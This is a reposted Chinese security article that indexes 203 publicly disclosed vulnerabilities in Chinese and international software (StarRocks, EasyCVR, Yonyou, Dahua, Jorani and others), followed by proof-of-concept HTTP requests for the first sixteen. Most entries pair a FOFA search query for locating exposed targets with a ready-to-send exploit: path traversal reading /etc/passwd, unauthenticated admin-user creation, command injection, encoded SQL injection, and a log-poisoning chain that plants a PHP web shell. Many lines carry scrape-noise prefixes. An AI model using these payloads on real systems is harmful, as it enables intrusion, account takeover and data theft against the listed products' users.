互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
& @7 U1 T6 u0 H2 m2 q! L道一安全 2024-06-05 07:41 北京
+ D1 _+ g! O1 j' S6 Q以下文章来源于网络安全新视界 ，作者网络安全新视界

  I8 b$ S. |7 Z/ L" I/ B6 x7 D0 A发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。
3 H+ }: k6 w) R1 B% N
漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。
$ N2 l' z: b, T4 n8 m& y9 N
' w$ V4 w1 A+ I1 r; J( A安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。

' G3 r: f/ {7 V, \; [/ Z/ l0 Z文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。

; v% j2 H0 w( R7 E9 x; Z- e, ~- P合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。

2 R1 v" J3 G& [# l+ l
, Q' }, a1 ~3 J& l" u$ a: P声明

6 g. t: D3 Y) Y- [7 x7 W. P为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。

# a1 j" n! j& p: M有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。
+ Q# l0 k, O2 i2 B9 K' ]

& Y! b: ?* X2 H
/ R, q! [% o* P/ a目录

01
: j: c/ ?4 L) m1 M- S
1. StarRocks MPP数据库未授权访问
' \7 k' U: g- T" H, ?2. Casdoor系统static任意文件读取
6 l' W. ^2 b2 y% H  \3. EasyCVR智能边缘网关 userlist 信息泄漏
" C" n1 q% ]/ |6 V5 u2 p! ]4. EasyCVR视频管理平台存在任意用户添加
5. NUUO NVR 视频存储管理设备远程命令执行
: H! R# n, U9 n$ k6. 深信服 NGAF 任意文件读取
% z% |5 @3 N9 O. {7. 鸿运主动安全监控云平台任意文件下载
% b3 e/ `8 N' F; S6 V4 y8. 斐讯 Phicomm 路由器RCE
! p. S$ @, c; M% i& l4 d. A+ A: x9. 稻壳CMS keyword 未授权SQL注入
  F3 e7 z- D8 a8 N10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
  b( n8 A6 Z) I( ]( m! B5 p12. Jorani < 1.0.2 远程命令执行
13. 红帆iOffice ioFileDown任意文件读取
8 z& N/ s7 I) ]- c7 n; B3 ~14. 华夏ERP（jshERP）敏感信息泄露
15. 华夏ERP getAllList信息泄露
16. 红帆HFOffice医微云SQL注入
17. 大华 DSS itcBulletin SQL 注入
0 O8 _6 ^' n$ a0 X& y18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
20. 大华ICC智能物联综合管理平台任意文件读取
21. 大华ICC智能物联综合管理平台random远程代码执行
, f5 f6 A! y7 h' T22. 大华ICC智能物联综合管理平台 log4j远程代码执行
23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
8 R/ u& t' O. z1 e24. 用友NC 6.5 accept.jsp任意文件上传
) F, ~. ]. V) L6 g& P. L25. 用友NC registerServlet JNDI 远程代码执行
26. 用友NC linkVoucher SQL注入
) D/ W6 S" i7 Z- G! X27. 用友 NC showcontent SQL注入
28. 用友NC grouptemplet 任意文件上传
29. 用友NC down/bill SQL注入
6 J1 B6 X2 I1 p% ~& I30. 用友NC importPml SQL注入
31. 用友NC runStateServlet SQL注入
  [7 H$ ]! V# U! @9 l' X32. 用友NC complainbilldetail SQL注入
33. 用友NC downTax/download SQL注入
34. 用友NC warningDetailInfo接口SQL注入
35. 用友NC-Cloud importhttpscer任意文件上传
36. 用友NC-Cloud soapFormat XXE
37. 用友NC-Cloud IUpdateService XXE
% j3 X% Y- c3 d4 N/ h& }; q. G38. 用友U8 Cloud smartweb2.RPC.d XXE
/ C3 a( L4 U/ ~$ D39. 用友U8 Cloud RegisterServlet SQL注入
40. 用友U8-Cloud XChangeServlet XXE
( N9 v! `9 X( O/ W; U2 Q( F41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
42. 用友GRP-U8 SmartUpload01 文件上传
6 w: o$ X7 ~/ m7 @+ v+ B, @43. 用友GRP-U8 userInfoWeb SQL注入致RCE
) d8 k2 V9 g; r; K2 P3 O44. 用友GRP-U8 bx_dj_check.jsp SQL注入
45. 用友GRP-U8 ufgovbank XXE
46. 用友GRP-U8 sqcxIndex.jsp SQL注入
47. 用友GRP A++Cloud 政府财务云 任意文件读取
0 _# W* s5 n0 x: r" i2 F* e48. 用友U8 CRM swfupload 任意文件上传
' e& g" N& n$ [  z9 L, h49. 用友U8 CRM系统uploadfile.php接口任意文件上传
8 g& C" D: J0 q  W. M50. QDocs Smart School 6.4.1 filterRecords SQL注入
; J! _( p4 s8 o8 L51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
  h/ ?- A+ c. v4 e, D52. 泛微E-Office json_common.php sql注入
9 J3 [" g. y" p* S: ~2 P53. 迪普 DPTech VPN Service 任意文件上传
# Y: s+ y2 F! k54. 畅捷通T+ getstorewarehousebystore 远程代码执行
55. 畅捷通T+ getdecallusers信息泄露
56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
0 q" O) C! Z% }% q5 {8 s% D57. 畅捷通T+ keyEdit.aspx SQL注入
58. 畅捷通T+ KeyInfoList.aspx sql注入
, y3 [9 u- m0 {- k59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
60. 百卓Smart管理平台 importexport.php SQL注入
61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
6 \9 Z3 r" n- g' q5 p62. IP-guard WebServer 远程命令执行
63. IP-guard WebServer任意文件读取
64. 捷诚管理信息系统CWSFinanceCommon SQL注入
; C  v$ z5 ], V1 s65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
3 C% @  ^  _( f3 V& q8 I7 g: O3 E66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
7 I) w0 r3 m% X67. 万户ezOFFICE wpsservlet任意文件上传
68. 万户ezOFFICE wf_printnum.jsp SQL注入
69. 万户 ezOFFICE contract_gd.jsp SQL注入
70. 万户ezEIP success 命令执行
1 K- s2 o: Y  r9 M  w71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
72. 致远OA getAjaxDataServlet XXE
73. GeoServer wms远程代码执行
74. 致远M3-server 6_1sp1 反序列化RCE
75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
76. 新开普掌上校园服务管理平台service.action远程命令执行
" i2 a6 k) B. K# F" ]3 ~* @! T77. F22服装管理软件系统UploadHandler.ashx任意文件上传
78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
6 h# k3 P0 O" w79. BYTEVALUE 百为流控路由器远程命令执行
( ]; ]* D% e$ d7 Q, `# a) `80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
) \# _' D1 D0 h0 C; g) v# u9 a81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
83. JeecgBoot testConnection 远程命令执行
( O, s+ c+ @2 z( O; j) w84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
0 m4 s& s! Z* X: [85. SysAid On-premise< 23.3.36远程代码执行
86. 日本tosei自助洗衣机RCE
8 Q9 l0 b/ @; m2 m' ]87. 安恒明御安全网关aaa_local_web_preview文件上传
% m' k8 D' R9 h6 w& u88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
7 b7 q) }' g- |* a; Y$ ?89. 致远互联FE协作办公平台editflow_manager存在sql注入
" j: a; ?; N9 |/ |# e( u0 o% H90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
92. 海康威视运行管理中心session命令执行
' l! Q! `: k$ \0 U93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
0 n) z6 u8 n6 ^( U94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
96. Apache OFBiz  18.12.11 groovy 远程代码执行
97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
# l/ e- A! k  w8 L( o. R98. SpiderFlow爬虫平台远程命令执行
( t2 E3 y9 Y" a; l' p1 s$ B99. Ncast盈可视高清智能录播系统busiFacade RCE
100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
( S+ n9 S8 L! c: L101. ivanti policy secure-22.6命令注入
102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
+ f" Y! N( _$ u6 C( i, f- A1 J103. Ivanti Pulse Connect Secure VPN XXE
, q: Y. X" ~+ C, M" ~104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
105. SpringBlade v3.2.0 export-user SQL 注入
( ^9 E0 B( ^& a106. SpringBlade dict-biz/list SQL 注入
107. SpringBlade tenant/list SQL 注入
108. D-Tale 3.9.0 SSRF
109. Jenkins CLI 任意文件读取
: @& W, b' o. D/ i" D110. Goanywhere MFT 未授权创建管理员
111. WordPress Plugin HTML5 Video Player SQL注入
# X& P, R. y( q2 E3 J3 g112. WordPress Plugin NotificationX SQL 注入
& D1 C2 \  t3 y; g3 c8 M113. WordPress Automatic 插件任意文件下载和SSRF
$ b( @% C+ C/ R114. WordPress MasterStudy LMS插件 SQL注入
115. WordPress Bricks Builder <= 1.9.6 RCE
116. wordpress js-support-ticket文件上传
117. WordPress LayerSlider插件SQL注入
118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
119. 北京百绰智能S20后台sysmanageajax.php sql注入
' J! r4 C7 N) k; v2 W- R120. 北京百绰智能S40管理平台导入web.php任意文件上传
121. 北京百绰智能S42管理平台userattestation.php任意文件上传
. f7 g  b9 E, z0 F9 g! c122. 北京百绰智能s200管理平台/importexport.php sql注入
. n' N( A! k% h0 I123. Atlassian Confluence 模板注入代码执行
/ P* P3 K# u9 Q0 e124. 湖南建研工程质量检测系统任意文件上传
125. ConnectWise ScreenConnect身份验证绕过
. i: M, F/ s% X1 V126. Aiohttp 路径遍历
127. 广联达Linkworks DataExchange.ashx XXE
128. Adobe ColdFusion 反序列化
129. Adobe ColdFusion 任意文件读取
5 F* V# N) `& V130. Laykefu客服系统任意文件上传
, a0 k& [. x" m2 Q. d6 o+ h$ j, Q131. Mini-Tmall <=20231017 SQL注入
132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
133. H5 云商城 file.php 文件上传
134. 网康NS-ASG应用安全网关index.php sql注入
135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
136. NextChat cors SSRF
137. 福建科立迅通信指挥调度平台down_file.php sql注入
! I6 b4 x! i5 q138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
4 G$ i" s+ ]: B8 d139. 福建科立讯通信指挥调度平台editemedia.php sql注入
140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
- O9 Z5 @8 m! W# I142. CMSV6车辆监控平台系统中存在弱密码
143. Netis WF2780 v2.1.40144 远程命令执行
144. D-Link nas_sharing.cgi 命令注入
2 \2 u* v/ M8 P! Y7 U. `) E145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
1 S3 C$ D6 R1 v& T: k146. MajorDoMo thumb.php 未授权远程代码执行
0 v& K# b$ p' S) t: z* e& z147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
( ?$ j- }7 S7 o  h. H148. CrushFTP 认证绕过模板注入
* m/ z4 L# P  h& T) F  I5 C, N149. AJ-Report开源数据大屏存在远程命令执行
150. AJ-Report 1.4.0 认证绕过与远程代码执行
151. AJ-Report 1.4.1 pageList sql注入
152. Progress Kemp LoadMaster 远程命令执行
- S4 |, ~0 c/ H7 [. z. S  \153. gradio任意文件读取
, B' m. N; W7 J4 ^154. 天维尔消防救援作战调度平台 SQL注入
2 _  I: v8 ~5 N" d155. 六零导航页 file.php 任意文件上传
156. TBK DVR-4104/DVR-4216 操作系统命令注入
157. 美特CRM upload.jsp 任意文件上传
158. Mura-CMS-processAsyncObject存在SQL注入
159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
4 y3 k  s: U3 F0 a* y. |/ \160. Sonatype Nexus Repository 3目录遍历与文件读取
161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
- K7 B4 P% P0 o+ I162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
" F+ h5 B" Q4 d7 S. R165. OrangeHRM 3.3.3 SQL 注入
. v2 `) d* B1 N: o166. 中成科信票务管理平台SeatMapHandler SQL注入
: _# K' t# d2 N+ v. ?  L167. 精益价值管理系统 DownLoad.aspx任意文件读取
168. 宏景EHR OutputCode 任意文件读取
169. 宏景EHR downlawbase SQL注入
0 a" V8 a9 m4 R! V5 T. u170. 宏景EHR DisplayExcelCustomReport 任意文件读取
171. 通天星CMSV6车载定位监控平台 SQL注入
172. DT-高清车牌识别摄像机任意文件读取
173. Check Point 安全网关任意文件读取
/ x, f, s/ {1 ?& A174. 金和OA C6 FileDownLoad.aspx 任意文件读取
175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
+ Z5 \/ k$ N  W4 Z: [6 Y176. 电信网关配置管理系统 rewrite.php 文件上传
177. H3C路由器敏感信息泄露
178. H3C校园网自助服务系统-flexfileupload-任意文件上传
' m% ]3 q7 o( N2 W4 Z/ [179. 建文工程管理系统存在任意文件读取
1 |" g) {5 \: {180. 帮管客 CRM jiliyu SQL注入
  y& \. P4 M/ n! L3 d+ l9 s6 d181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
' S, t2 Q6 a' U: z; o185. 瑞友天翼应用虚拟化系统SQL注入
186. F-logic DataCube3 SQL注入
187. Mura CMS processAsyncObject SQL注入
6 b0 T: s+ t- |: O; U3 T: K188. 叁体-佳会视频会议 attachment 任意文件读取
189. 蓝网科技临床浏览系统 deleteStudy SQL注入
1 }8 {7 A/ g) l190. 短视频矩阵营销系统 poihuoqu 任意文件读取
  u2 b$ l$ c6 a8 J# J+ ^6 N191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
# }5 H8 M  N; ~5 v1 q: w+ }192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
2 A. t0 H2 S% D  p# X196. 河南省风速科技统一认证平台密码重置
! q$ z5 f+ o0 F6 c197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
3 Z  u# j" j3 M$ x198.  阿里云盘 WebDAV 命令注入
199. cockpit系统assetsmanager_upload接口 文件上传
200. SeaCMS海洋影视管理系统dmku SQL注入
201. 方正全媒体新闻采编系统 binary SQL注入
202. 微擎系统 AccountEdit任意文件上传
3 `" ^6 E; Z9 X( T* a203. 红海云EHR PtFjk 文件上传
) O. G  d3 V$ [# D: l! ^5 O% [
POC列表
% C7 x: b( V6 a0 {4 B( O
02
. z" M+ J& X( F% J2 R1 i2 r
1. StarRocks MPP数据库未授权访问
FOFA ：title="StarRocks"
GET /mem_tracker HTTP/1.1
: D& a1 j7 E+ |' B- e( JHost: URL
" W5 Z) D6 o5 I7 `$ m6 Y" I7 s

2. Casdoor系统static任意文件读取
FOFA ：title="Casdoor"
- G6 C% ~; a3 g, n6 G0 x0 `GET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
6 d8 L" S) ]8 }9 ]8 f) p5 SHost: xx.xx.xx.xx:9999
; b- M2 @2 r  p4 X0 jUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
' G$ X+ u8 x# Z/ U# |/ g1 |9 }
" X5 M$ J& P9 F# o% O
3. EasyCVR智能边缘网关 userlist 信息泄漏
FOFA ：title="EasyCVR"
/ }* X3 F; D* d  O; f. f$ ?GET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
: v+ F& h' X( Y, s6 ?" k- DHost: xx.xx.xx.xx

. ]2 K' v, |1 D1 C/ x- B
4. EasyCVR视频管理平台存在任意用户添加
FOFA ：title="EasyCVR"
7 w/ y6 G( M8 c3 _( Q
password更改为自己的密码md5
POST /api/v1/adduser HTTP/1.1
! c5 m' g" K" R& F8 i* }Host: your-ip
$ l4 Y1 D3 t2 Z" pContent-Type: application/x-www-form-urlencoded; charset=UTF-8
' S2 w3 Q8 A" [5 p
name=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1
( y! T; ?* f6 Z, h5 S2 Y1 B. z: k2 s

7 a# U8 w' {* M; y0 ?5. NUUO NVR 视频存储管理设备远程命令执行
9 v7 K! }: Q% B9 r* y9 dFOFA：title="Network Video Recorder Login"
; |. H% p0 g: ^1 c& w& ?$ Q( BGET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
- F9 }1 M3 [: G2 d, Q9 cHost: xx.xx.xx.xx
4 Q# V& p8 [, a5 F) v

6. 深信服 NGAF 任意文件读取
FOFA：title="SANGFOR | NGAF"
3 F* I/ F( y/ t" l' I$ G. a2 |GET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
Host:
& c2 T% B' u- F  {" A

- N2 B! v3 z. Y' c9 B7. 鸿运主动安全监控云平台任意文件下载
FOFA：body="./open/webApi.html"
GET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
" q  X1 C5 c; ?  R( iHost:
2 I2 H0 V; ?* \, \: ]
+ j! ~8 T1 K$ ^- P
  j" g. A* f9 i2 c6 q1 L1 H8. 斐讯 Phicomm 路由器RCE
& e. v; h0 Y9 {. c5 T( sFOFA：icon_hash="-1344736688"
默认账号admin登录后台后，执行操作
8 Q' D( c" v& W/ P9 H. _0 bPOST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
0 A% `7 }+ ^, o' P3 g3 VHost: x.x.x.x
* ^8 @8 M& X0 X  ~Cookie: sysauth=第一步登录获取的cookie
, c7 Z9 X8 }" M/ H) v7 p7 r. g% ?Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
4 S* A  F' o* H! A
4 \! y. w+ O& P$ B) I+ t------WebKitFormBoundaryxbgjoytz
% q6 _+ o) W* f" oContent-Disposition: form-data; name="wifiRebootEnablestatus"

%s
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootrange"

12:00; id;
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootendrange"
5 C2 q$ c% i: B  [
%s:
0 t4 w* r1 ?; t0 _2 n3 b0 T------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="cururl2"
3 k5 K3 F, C8 B3 r. k. Z1 D

------WebKitFormBoundaryxbgjoytz--


9. 稻壳CMS keyword 未授权SQL注入
9 q' s7 Z4 E/ F# B* PFOFA：app="Doccms"
GET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
Host: x.x.x.x

0 |  J3 e( N1 n# a
payload为下列语句的二次Url编码

' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#

10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
FOFA：icon_hash="953405444"
- A! k4 W7 d# a- o8 w( k$ |
文件上传后响应中包含上传文件的路径
+ Q) B8 H2 S/ t/ m. |POST /eis/service/api.aspx?action=saveImg HTTP/1.1
Host: x.x.x.x:xx
, z/ X8 F7 I0 oUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Length: 197
0 d! q: D5 R+ Y( IAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
6 q9 G1 A  J$ sConnection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu
! ~/ j  [! p. Q' w+ P
------WebKitFormBoundaryxdgaqmqu
Content-Disposition: form-data; name="file"filename="icfitnya.txt"
. X' W9 o, a& n: NContent-Type: text/html
/ ]4 S1 O3 D2 w, ?
7 n. G0 ^8 w$ ^0 |6 K$ j& ljmnqjfdsupxgfidopeixbgsxbf
------WebKitFormBoundaryxdgaqmqu--
" ^/ F0 E1 v, N8 L; ~9 o! R. p8 W
0 d3 D; K! n- b' j! R* Y$ C
% \+ z0 t* |! t" v: ~11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
FOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
GET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
! ^7 u3 G' {+ e$ J$ v5 A: E; v' J% UHost: 127.0.0.1
Pragma: no-cache
Cache-Control: no-cache
" p/ i/ C! i# {9 F% fUpgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
! j) U( P" ]! Y' GAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
! ~7 N9 Q) ^: e" y, y: j2 gAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

4 i# n, y) e2 D
12. Jorani < 1.0.2 远程命令执行
/ V$ @. V9 B' d# U  N; L+ kFOFA：title="Jorani"
+ t: E; m: A6 h! x0 T- z$ l第一步先拿到cookie
GET /session/login HTTP/1.1
8 S2 d& T! R1 E9 `1 jHost: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
1 k" ?( o5 j$ o' j8 e! N4 kAccept-Encoding: gzip

" f  g$ p9 Y+ A( _) p) w
( A% u( H; X4 e9 c# C响应中csrf_cookie_jorani用于后续请求
: X& a% R" z2 }4 ?, q1 v6 nHTTP/1.1 200 OK
$ B( k- v( b" ~& @2 `& h$ bConnection: close
Cache-Control: no-store, no-cache, must-revalidate
, _: i: ~2 z7 D2 e/ A" wContent-Type: text/html; charset=UTF-8
Date: Tue, 24 Oct 2023 09:34:28 GMT
$ y3 @( U2 y2 H: y9 @, u" FExpires: Thu, 19 Nov 1981 08:52:00 GMT
Last-Modified: Tue, 24 Oct 2023 09:34:28 GMT
Pragma: no-cache
  K  O' T4 d! T; ]Server: Apache/2.4.54 (Debian)
, [- z$ T$ p% k! BSet-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
# X3 k' ~7 h3 V4 l# q4 CSet-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
Vary: Accept-Encoding
' r# Y9 o: G- v8 [1 G8 b
" I5 d2 \5 I! A9 ?- C2 e* q
POST请求，执行函数并进行base64编码
2 L- \- i1 v; a3 y; F& h" iPOST /session/login HTTP/1.1
Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
! |' z% u, e$ h/ KConnection: close
Content-Length: 252
Content-Type: application/x-www-form-urlencoded
6 q' m( a2 P( Y) @. nCookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
Accept-Encoding: gzip
; O, J. E3 Y4 F* @. S
csrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor

3 q+ T# t( w. l. J4 }
4 M3 x* B( T' j% F% k( A
& L) p( S+ h0 g向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
) D+ u7 J. {+ yGET /pages/view/log-2023-10-24 HTTP/1.1
7 P4 h* U4 X9 f( CHost: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
- p" B$ Q$ O) U1 d# f! uConnection: close
) [5 m5 J* T# w$ N) D2 l% }Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
/ n8 X+ C5 h$ HK1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
9 e. \2 T, x& V: _X-REQUESTED-WITH: XMLHttpRequest
Accept-Encoding: gzip

: E; E* Q2 g2 C- x
$ x. g' t& g6 K' Y+ D) T& J6 P; Y13. 红帆iOffice ioFileDown任意文件读取
FOFA：app="红帆-ioffice"
* Q" B4 d7 @) F  T- ?GET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
& m  p: w; @( w4 E( `2 w  AHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
" L( F# Z  W! u/ B) s  M( Y( xConnection: close
, j0 R5 ~+ G" U# h* V* r, v: Y- p1 jAccept: */*
" m& ]- H0 K# Y& C/ s9 oAccept-Encoding: gzip
) p& A) Z$ z! J0 h) N; Z7 h
) f. A  Z0 e6 n3 {0 f9 E1 A: D
! U" {2 p: N& V" k$ v8 g. j14. 华夏ERP（jshERP）敏感信息泄露
" L: V3 n1 i- J" q* V8 n, MFOFA：body="jshERP-boot"
泄露内容包括用户名密码
$ e- K1 F/ {2 r. G; ^& k+ _GET /jshERP-boot/user/getAllList;.ico HTTP/1.1
6 [; t+ _2 s% l! H  n7 |Host: x.x.x.x
: T3 l0 I5 D+ |4 o9 V+ x+ }4 KUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
Accept: */*
' q) q5 c2 J' v+ FAccept-Language: en
Accept-Encoding: gzip
5 I0 y. V8 V+ [% v
4 k/ n  }2 I/ c9 d- G! D5 \, b2 Z
15. 华夏ERP getAllList信息泄露
3 e" n. L+ P" e9 Z/ X) W, f! W7 bCVE-2024-0490
; ^4 p. Y6 p1 q5 zFOFA：body="jshERP-boot"
6 H3 {7 S6 p8 V- D泄露内容包括用户名密码
/ C( X1 |4 [4 |GET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
2 g" a8 o# Z$ H3 I( R% b* \3 J1 OHost: 192.168.40.130:100
3 [' e( ?9 c5 m# y5 {& PUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
) b0 F1 J5 d2 v' C) NAccept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Language: en
sec-ch-ua-platform: Windows
Accept-Encoding: gzip
5 L3 x- }: ~1 D
: O8 L% b+ J4 G+ i$ B- b6 {* p! M
0 O" t5 T+ r# F+ @0 G16.  红帆HFOffice医微云SQL注入
/ O- z. U( Q; [! n1 aFOFA：title="HFOffice"
poc中调用函数计算1234的md5值
